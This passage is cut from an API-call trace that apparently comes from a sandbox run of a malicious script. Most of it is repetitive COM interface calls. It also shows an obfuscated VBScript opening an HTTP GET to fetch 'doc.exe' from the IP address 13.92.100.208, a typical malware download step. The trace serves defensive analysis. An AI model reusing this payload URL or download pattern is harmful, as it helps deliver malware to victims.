[1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.727] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.727] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.727] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.727] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0087.727] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0087.727] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.727] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.727] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.727] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x3 [0087.727] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.727] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153858 | out: ppvObject=0x153858*=0x0) returned 0x80004002 [0087.727] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153874 | out: ppvObject=0x153874*=0x1112ba8) returned 0x0 [0087.728] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153860 | out: ppvObject=0x153860*=0x0) returned 0x80004002 [0087.728] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0087.728] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0087.728] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153860 | out: ppvObject=0x153860*=0x0) returned 0x80004002 [0087.728] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.728] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.728] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.728] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0087.728] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0087.728] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.728] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.728] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.728] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.728] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0087.728] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0087.728] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.728] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.728] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.728] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.728] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0087.729] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0087.729] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.729] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.729] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.729] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x3 [0087.729] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.729] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154900 | out: ppvObject=0x154900*=0x1112ba8) returned 0x0 [0087.729] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154904 | out: ppvObject=0x154904*=0x0) returned 0x80004002 [0087.729] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548d4 | out: ppvObject=0x1548d4*=0x83fd368) returned 0x0 [0087.729] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1548d0 | out: ppvObject=0x1548d0*=0x83fd378) returned 0x0 [0087.729] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154904 | out: ppvObject=0x154904*=0x0) returned 0x80004002 [0087.729] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.729] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.729] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.729] DOMDocument:IUnknown:Release (This=0x554634) returned 0x0 [0087.729] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x555370) returned 0x0 [0087.730] DOMDocument:IUnknown:AddRef (This=0x555370) returned 0x3 [0087.730] DOMDocument:IUnknown:Release (This=0x555370) returned 0x2 [0087.730] DOMDocument:IUnknown:Release (This=0x555370) returned 0x1 [0087.730] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0087.730] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="objhtxtpdownload", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0087.730] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="objhtxtpdownload", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0087.730] GetCurrentThreadId () returned 0xd44 [0087.730] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.730] DOMDocument:IUnknown:AddRef (This=0x555370) returned 0x2 [0087.731] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.731] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="tuqkal", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.731] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="tuqkal", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.731] GetCurrentThreadId () returned 0xd44 [0087.731] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.732] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.732] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="povmskfh32423", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.732] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="povmskfh32423", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.732] GetCurrentThreadId () returned 0xd44 [0087.732] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.733] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.733] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ahoy", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.733] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ahoy", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.733] GetCurrentThreadId () returned 0xd44 [0087.733] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.733] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.733] malloc (_Size=0x804) returned 0x83fc220 [0087.733] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.734] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0087.734] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="anny", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0087.734] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="anny", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0087.734] GetCurrentThreadId () returned 0xd44 [0087.734] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.734] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d58 | out: ppvObject=0x154d58*=0x0) returned 0x80004002 [0087.734] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x555370, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154d5c*="open", cNames=0x1, lcid=0x409, rgDispId=0x154d74 | out: rgDispId=0x154d74*=1) returned 0x0 [0087.775] DOMDocument:IUnknown:AddRef (This=0x555370) returned 0x2 [0087.775] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d60 | out: ppvObject=0x154d60*=0x0) returned 0x80004002 [0087.775] DOMDocument:IDispatch:Invoke (in: This=0x555370, dispIdMember=1, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154d2c*(rgvarg=([0]=0x83d6768*(varType=0x400c, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8791bdc*(varType=0xb, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0000, varVal2=0x470e), varVal2=0x470e), [1]=0x83d6778*(varType=0x400c, wReserved1=0x0, wReserved2=0xb27, wReserved3=0x0, varVal1=0x879160c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x83da080), varVal2=0x0), [2]=0x83d6788*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="get ", varVal2=0x83da080)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154d08, puArgErr=0x154d4c | out: pDispParams=0x154d2c*(rgvarg=([0]=0x83d6768*(varType=0x400c, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8791bdc*(varType=0xb, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0000, varVal2=0x470e), varVal2=0x470e), [1]=0x83d6778*(varType=0x400c, wReserved1=0x0, wReserved2=0xb27, wReserved3=0x0, varVal1=0x879160c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x83da080), varVal2=0x0), [2]=0x83d6788*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="get ", varVal2=0x83da080)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154d08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154d4c*=0x555370) returned 0x0 [0087.775] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154864 | out: ppvObject=0x154864*=0x0) returned 0x80004002 [0087.775] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154854 | out: ppvObject=0x154854*=0x0) returned 0x80004002 [0087.775] DOMDocument:IUnknown:AddRef (This=0x1112ba8) returned 0x2 [0087.775] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154914 | out: ppvObject=0x154914*=0x1112ba8) returned 0x0 [0087.776] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153874 | out: ppvObject=0x153874*=0x1112ba8) returned 0x0 [0087.776] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153848 | out: ppvObject=0x153848*=0x0) returned 0x80004002 [0087.776] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0087.776] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0087.776] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153848 | out: ppvObject=0x153848*=0x0) returned 0x80004002 [0087.776] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.776] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.776] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153850 | out: ppvObject=0x153850*=0x0) returned 0x80004002 [0087.776] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0087.776] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0087.776] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, 